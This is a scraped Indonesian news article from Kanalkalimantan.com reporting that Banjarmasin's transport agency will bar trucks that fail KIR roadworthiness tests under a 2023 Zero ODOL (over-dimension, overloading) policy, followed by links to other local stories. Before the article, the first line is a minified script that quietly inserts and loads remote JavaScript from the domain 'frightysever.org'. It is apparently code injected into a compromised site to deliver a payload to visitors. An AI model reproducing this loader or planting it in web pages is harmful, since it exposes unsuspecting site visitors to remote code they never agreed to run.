(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Menuju Zero ODOL, Dishub Banjarmasin: Kendaraan Tidak Lolos Uji KIR Tidak Boleh Beroperasi


KANALKALIMANTAN.COM, BANJARMASIN – Lantaran kendaraan bermotor mengangkut barang-barang logistik diduga sebagian besar tidak mempunyai KIR atau tidak lulus uji KIR, Dinas Perhubungan Kota Banjarmasin menggencarkan program Zero ODOL (Over Dimension Over Loading) pada tahun 2023.

Dikatakan Kepala Dinas Perhubungan Kota Banjarmasin, Slamet Begjo, program zero ODOL merupakan instruksi pemerintah pusat melalui Dirjen Perhubungan Darat Kemenhub RI.

“Untuk Zero ODOL ini diberlakukan 2023 per Januari, ini bukan pilihan tapi mau tidak mau kita harus laksanakan sebagaimana arahan Dirjen Perhubungan Darat tempo hari di Solo,” ungkap Kadis Perhubungan Kota Banjarmasin, Rabu (19/1/2023) kemarin.

Slamet mengatakan, sebelum tahun 2023 pihaknya telah menggencarkan sosialisasi kepada kendaraan angkutan dan perusahaan untuk mendukung program Zero ODOL di tahun 2023.

 

 

Baca juga: SJ Penganiaya Anak Yatim Terencam 3,5 Tahun Penjara, Uang Donatur Masih Diselidiki Polisi 

Sehingga ia berharap pelanggaran over dimensi atau over kapasitas kendaraan yang ditemukan pada tahun 2022, tidak lagi ditemukan pada tahun 2023 ini.

“Sebelum 2023 sudah kita lakukan sosialisasi, kurang lebih 1.500 kendaraan yang telah kita berikan sosialisasi,” ungkap Slamet.

Truk angkutan barang memasuki wilayah Kota Banjarmasin. Foto: Rizki

Ia menegaskan, kendaraan yang masih over dimensi atau over kapasitas tidak akan diloloskan saat pengujian KIR. Selain itu, pihaknya akan mengeluarkan surat tidak lulus uji bagi kendaraan tersebut, dan kendaraan itu tidak boleh untuk beroperasi.

“Nanti kita berikan surat tidak lolos uji, tidak boleh beroperasi jika tidak lulus uji,” tegasnya.

Adapun terkait penindakan pelanggaran, Kadishub Banjarmasin mengatakan, itu ranah Satuan Lalu Lintas Polresta Banjarmasin.

Baca juga: Tepis Dakwaan JPU, Mantan Bupati HST Abdul Latif Curhat Ketimpangan Hukum

“Untuk yang melanggar ranah kepolisian,” katanya.

Pihaknya bersama Satlantas Polresta Banjarmasin gencar untuk melakukan pengawasan guna mendukung kebijakan Zero ODOL tahun 2023.

“Kami tidak bekerja sendiri, perlu pendampingan instansi lain terutama satuan lalu lintas, karena amanah Undang-Undang kita didampingi mereka,” tutup Kadishub Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter : Rizki
Editor : Rdy


Risa

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

4 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

6 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

21 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

21 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

22 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

23 jam ago

This website uses cookies.